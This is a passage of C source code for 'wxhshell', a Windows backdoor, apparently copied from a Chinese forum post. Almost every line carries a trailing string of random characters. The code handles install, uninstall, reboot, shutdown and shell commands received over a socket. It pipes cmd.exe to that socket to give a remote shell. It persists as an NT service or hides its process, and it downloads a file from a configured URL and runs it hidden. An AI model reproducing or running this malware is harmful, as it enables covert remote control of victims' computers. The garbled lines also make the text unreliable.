      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4<K`yU]"  
    break; *4:/<wI!  
  } xwxjj  
  // 安装 z{jAt6@7  
  case 'i': { D5b _m|7%  
    if(Install()) c]r|I %D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NKKO A  
    else ?t42=nvf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UhTr<(@  
    break; S: uEK  
    } SkA'+(  
  // 卸载 XXcf!~uO  
  case 'r': { EXcjF  
    if(Uninstall()) xi\RUAW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wIj2 IAD  
    else E <SE Fn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G0> Wk#or  
    break; I yN9 +  
    } Y]K]]Ehp  
  // 显示 wxhshell 所在路径 CEq]B:[IC  
  case 'p': { Kc\'s65.]  
    char svExeFile[MAX_PATH]; {:X];A$  
    strcpy(svExeFile,"\n\r"); ]e~^YZOs  
      strcat(svExeFile,ExeFile); TkoXzG8yE<  
        send(wsh,svExeFile,strlen(svExeFile),0); ;_a oM&  
    break; 1@S6[&_  
    } RT"2Us]*  
  // 重启 XL=R]IC<.  
  case 'b': { gVJ#LJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `UK+[`E  
    if(Boot(REBOOT)) Ux T[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PEt8,,x<"  
    else { WN/#9]` P  
    closesocket(wsh); 73ljW  
    ExitThread(0); 3F}KrG  
    } 5yiiPK$qr  
    break; E}vO*ZZEw  
    } :fVMM7  
  // 关机 'f7 *RSKqb  
  case 'd': { ydqmuZ%2h#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $ ].k6,%{p  
    if(Boot(SHUTDOWN)) G)Bq?=P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6CmFmc,  
    else { U hhmG+  
    closesocket(wsh); XWQ0V  
    ExitThread(0); >#U <#  
    } }cej5/*  
    break; v@uaf=x-  
    } {4aY}= -Q*  
  // 获取shell Q]5^Eiq8  
  case 's': { b N e\{k  
    CmdShell(wsh); H8]^f=  
    closesocket(wsh); %O=V4%"m\  
    ExitThread(0); Z"|P(]A  
    break; xM//]  
  } lO:{tV  
  // 退出 O\Mq<;|7m  
  case 'x': { eu]iwOc&p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' VEr4&  
    CloseIt(wsh); kz;_f  
    break; `N.$LY;8  
    } eoe^t:5&  
  // 离开 Qr%Jm{_o  
  case 'q': { >[fVl 8G_0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zHOE.V2Qo  
    closesocket(wsh); y2$;t'  
    WSACleanup(); q VdC?A|  
    exit(1); Qb't*2c%  
    break; r82o[+$u0K  
        } o $`kpr  
  } UnWGMo?JEi  
  } _d| 62VS  
1 j^c  
  // 提示信息 -A%?T"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H'GYJ ?U"  
} k\#-6evT  
  } .83v~{n  
-y*_.Ws9  
  return; RjGB#AK  
} :-\ yy  
%^5@z1d,  
// shell模块句柄 )uid!d  
int CmdShell(SOCKET sock) {ogZT7w}  
{ 0 {JK4]C  
STARTUPINFO si; Kxl,] |e>  
ZeroMemory(&si,sizeof(si)); V}|v!h[O8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N.{jM[\F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 90qj6.SQ  
PROCESS_INFORMATION ProcessInfo; CFJjh^ ~=  
char cmdline[]="cmd"; ;\.JV '  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hg9.<|+yo  
  return 0; WTD49_px  
} 6Z7pztk  
N~$Zeq=  
// 自身启动模式 ~kYqGH  
int StartFromService(void) 2yQ}Lxr(  
{ XJ h:U0  
typedef struct 7 ZL#f![{  
{ {y^|ET7  
  DWORD ExitStatus; )jk1S  
  DWORD PebBaseAddress; _MdZDhtm  
  DWORD AffinityMask; W>0"CUp  
  DWORD BasePriority; =`1m-   
  ULONG UniqueProcessId; B8 0odU&  
  ULONG InheritedFromUniqueProcessId; W~u   
}   PROCESS_BASIC_INFORMATION; f>8B'%]  
!rXcGj(k  
PROCNTQSIP NtQueryInformationProcess; P YF.#@":&  
\|~?x#aA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !FB \h<6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %Nm @f'  
l7'{OB L  
  HANDLE             hProcess; o3F|#op  
  PROCESS_BASIC_INFORMATION pbi; ``|gcG  
d=?Mj]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3Rd`Ysp  
  if(NULL == hInst ) return 0; *f TG8h  
%K^gUd>,R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )8$:DW;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {x[;5TM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X7H'Uk9:  
`8Jq~u6_Z  
  if (!NtQueryInformationProcess) return 0; Vm~qk  
'(*&Ax  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AbF(MK=i  
  if(!hProcess) return 0; &]VQR2J}:  
!{Q:(B#ec  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {xv?wenE  
o9ctJf=qn  
  CloseHandle(hProcess); %GX uuE}mX  
x7.QL?qR.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5pM&h~M  
if(hProcess==NULL) return 0; `V&1]C8x  
`*NO_ K  
HMODULE hMod; hV-V eKjZ(  
char procName[255]; ~!ZmF(:  
unsigned long cbNeeded; T A\4uy6o  
ou'~{-_xd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VT% KN`l  
gMs+?SNHAh  
  CloseHandle(hProcess); '%SR.JL  
zLsb`)!  
if(strstr(procName,"services")) return 1; // 以服务启动 Ufdl|smt1  
X>Al:?`}N  
  return 0; // 注册表启动 SOp=~z  
} }!%JYG^!D  
~H^'al2PK  
// 主模块 #ya\Jdx   
int StartWxhshell(LPSTR lpCmdLine) WR/o @$/  
{ T- |9o|~z  
  SOCKET wsl; gB>imr#e&  
BOOL val=TRUE; sno`=+|U]  
  int port=0; D<U 9m3  
  struct sockaddr_in door; bmOqeUgB  
OXHvT/L`  
  if(wscfg.ws_autoins) Install(); C$<"w,  
VEj$^bpp5s  
port=atoi(lpCmdLine); S]&8St  
#bT8QbJ(  
if(port<=0) port=wscfg.ws_port; ryxYcEM0  
+T0op4  
  WSADATA data; O' +"d%2'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q2/MnM  
#:J: YMv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *@_u4T7|{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); keLR1qf  
  door.sin_family = AF_INET; 7]Al*)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e74zR6  
  door.sin_port = htons(port); B%tIwUE2  
Vb@ 4(Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U4>O\sU  
closesocket(wsl); [o2w1R\H+x  
return 1; "h=6Q+Ze  
} d^F|lc ]8  
J["H[T*  
  if(listen(wsl,2) == INVALID_SOCKET) { ^GMJ~[]  
closesocket(wsl); gmh5 %2M  
return 1; KRYcCn  
}  fb\DiKsW  
  Wxhshell(wsl); EgTFwEj  
  WSACleanup();  ep+  
CjZZm^O  
return 0; R?cUy8?'S  
w *50ZS;N  
} i S%  
OJAx:&]3  
// 以NT服务方式启动 <lMg\T?K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *>jjMyn  
{ LA-_3UJx  
DWORD   status = 0; B?LXI3sQZ  
  DWORD   specificError = 0xfffffff; 25:Z;J>  
x# VyQ[ok  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k$h [8l( <  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zJ9v%.e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dUS  ZNY  
  serviceStatus.dwWin32ExitCode     = 0; )QmGsU}?  
  serviceStatus.dwServiceSpecificExitCode = 0; h#i\iK&A  
  serviceStatus.dwCheckPoint       = 0; C+w__gO&r  
  serviceStatus.dwWaitHint       = 0; b"``D ?  
[,=d7*b(l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _%Bz,C8  
  if (hServiceStatusHandle==0) return; No) m/17y  
CSL#s^4T  
status = GetLastError(); gv#4#]  
  if (status!=NO_ERROR) Ia2(Km  
{ C.~ j'5N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n`q2s'Pc  
    serviceStatus.dwCheckPoint       = 0; @mf({Q>  
    serviceStatus.dwWaitHint       = 0; g\U/&.}DN  
    serviceStatus.dwWin32ExitCode     = status; wtXY: O  
    serviceStatus.dwServiceSpecificExitCode = specificError; %Rp8{.t7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UVz/n68\k7  
    return; 845 W>B  
  } ?i~g,P]NK  
YNSyi@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mO P4z'  
  serviceStatus.dwCheckPoint       = 0; kbxg_UI;  
  serviceStatus.dwWaitHint       = 0; lWWP03er!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V8hO8  
} >3 l=*|9  
%aU4,j^],o  
// 处理NT服务事件,比如:启动、停止 xjo;kx\y^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -gS"pE^1  
{ jin db#)bz  
switch(fdwControl) igDG}q3jG  
{ `>6T&  
case SERVICE_CONTROL_STOP: a2`%gh W3  
  serviceStatus.dwWin32ExitCode = 0; ]H ~Y7\N-v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r}_lxr  
  serviceStatus.dwCheckPoint   = 0; DG(%-w8p"  
  serviceStatus.dwWaitHint     = 0; 2j&v;dmh<  
  { m@jge)O&D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !aPD}xCH#  
  } o}8I_o&]U  
  return; BkawL,  
case SERVICE_CONTROL_PAUSE: 3JO]f5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }aF  
  break; jk*tL8?i  
case SERVICE_CONTROL_CONTINUE: ^~$\ g]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 03=5Nof1  
  break; m:uPEpcU  
case SERVICE_CONTROL_INTERROGATE: +dk f cG  
  break; 9sSN<7  
}; =su]w2,Iy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $7Z)Yp&T  
} wpXgPVZT  
2N5`'  
// 标准应用程序主函数 v4rW2F:X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {EA1vo"  
{ p[9s<lEh  
|mhKIis U  
// 获取操作系统版本 eQUe >*  
OsIsNt=GetOsVer(); d(-EcY>?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \OQkZ.cU;  
Apj;  
  // 从命令行安装 $TG =w  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?>$l  
N\NyXh$  
  // 下载执行文件 -fy9<  
if(wscfg.ws_downexe) { B4h5[fPX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >|g?wC}V;  
  WinExec(wscfg.ws_filenam,SW_HIDE); :z&7W<  
} 8|@9{  
0|c}p([~  
if(!OsIsNt) { f>2MI4nMG  
// 如果时win9x,隐藏进程并且设置为注册表启动 wM~H(=s`D  
HideProc(); wi_'iv  
StartWxhshell(lpCmdLine); 7b[wu~'( n  
} 5'KA'>@  
else aUc|V{Jp  
  if(StartFromService()) /(hUfYm0  
  // 以服务方式启动 iEm ?  
  StartServiceCtrlDispatcher(DispatchTable); E5</h"1  
else M5g\s;y;  
  // 普通方式启动 SJ?cI!=x  
  StartWxhshell(lpCmdLine); MSw$_d  
%Ip*Kq-  
return 0; >6<q8{*  
}
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只看该作者 1 发表于: 2006-10-10
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